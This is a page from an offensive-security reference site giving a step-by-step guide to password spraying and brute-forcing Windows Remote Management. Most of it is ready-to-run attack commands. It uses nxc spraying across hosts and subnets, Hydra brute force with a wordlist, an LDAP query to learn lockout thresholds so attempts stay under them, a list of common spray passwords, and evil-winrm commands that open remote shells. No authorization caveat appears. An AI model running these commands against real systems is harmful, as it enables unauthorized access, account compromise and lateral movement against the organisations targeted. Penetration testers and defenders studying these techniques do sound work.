# WinRM Brute Force and Password Spraying

- **URL:** https://hackindex.io/services/winrm/exploitation/brute-force-password-spray
- **Path:** WinRM > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/winrm/exploitation.md)
- **Published:** 2026-03-12
- **Updated:** 2026-07-10

WinRM exposes Windows Remote Management on port 5985 (HTTP) and 5986 (HTTPS). Authentication goes through the same AD lockout policy as every other Windows service. Check the lockout threshold before running anything: spray one password at a time and stay at least two attempts below the threshold per account per observation window.

## Confirming WinRM is Open

Before spraying, confirm the service is reachable:

```bash
nmap -p 5985,5986 $TARGET_IP
```

Or with a direct connection test using curl:

```bash
curl -s http://$TARGET_IP:5985/wsman
```

Any response confirms WinRM is listening. A connection refused means it is not enabled.

## Password Spraying with nxc

nxc is the most reliable and cleanest tool for WinRM spraying:

```bash
nxc winrm $TARGET_IP -u users.txt -p $PASSWORD -d $DOMAIN --continue-on-success
```

Spray across a subnet:

```bash
nxc winrm $TARGET_IP/24 -u users.txt -p 'Winter2024!' -d $DOMAIN --continue-on-success
# WINRM  10.10.10.10  5985  DC01  [+] CORP\jsmith:Winter2024! (Pwn3d!)
#
```

Reading nxc output:

- `(Pwn3d!)` means the account has WinRM access and can open a remote session
- `[+]` without `(Pwn3d!)` means valid credentials but no WinRM access rights
- `[-]` means authentication failed

## Spraying Local Accounts

Test local accounts without a domain:

```bash
nxc winrm $TARGET_IP -u $USER -p $PASSWORD --local-auth --continue-on-success
```

## Brute Force with Hydra

For per-account brute force against a single target:

```bash
hydra -l $USER -P /usr/share/wordlists/rockyou.txt $TARGET_IP http-post-form "/wsman:Authorization\: Basic $(echo -n $USER:^PASS^ | base64):Unauthorized" -s 5985
```

The WinRM HTTP module in Hydra is less reliable than nxc. Use nxc by default and fall back to Hydra when nxc has issues.

## Checking Lockout Policy First

Pull the policy via LDAP before spraying:

```bash
ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w $PASSWORD -b "$BASE_DN" "(objectClass=domainDNS)" lockoutThreshold lockoutDuration
```

A `lockoutThreshold` of `0` means no lockout: brute force freely. For any other value, run one password per lockout window (typically 30 minutes).

## Common Spray Passwords

```
Winter2024!, Spring2024!, Summer2024!, Autumn2024!
Welcome1, Welcome123, Welcome2024!
Password1, Password123, Password2024!
(company name)123!, (company name)2024!
(blank password: accounts with PASSWD_NOTREQD)
```

## Verifying Credentials and Opening a Session

Once you have valid credentials, verify the session opens:

```bash
evil-winrm -i $TARGET_IP -u $USER -p $PASSWORD -d $DOMAIN
```

If WinRM is on HTTPS (5986):

```bash
evil-winrm -i $TARGET_IP -u $USER -p $PASSWORD -d $DOMAIN -S
```

`-S` enables SSL. Add `-c` and `-k` to supply a client certificate and key if required.

For a full guide on what to do once inside a WinRM session, see [Evil-WinRM](https://hackindex.io/services/winrm/exploitation/evil-winrm). For lateral movement after obtaining access, see [AD Remote Execution](https://hackindex.io/platforms/active-directory/lateral-movement/ad-remote-execution).

## References

- [NetExec (nxc)](https://github.com/Pennyw0rth/NetExec) - WinRM module documentation and spraying options.
- [evil-winrm](https://github.com/Hackplayers/evil-winrm) - WinRM shell client documentation.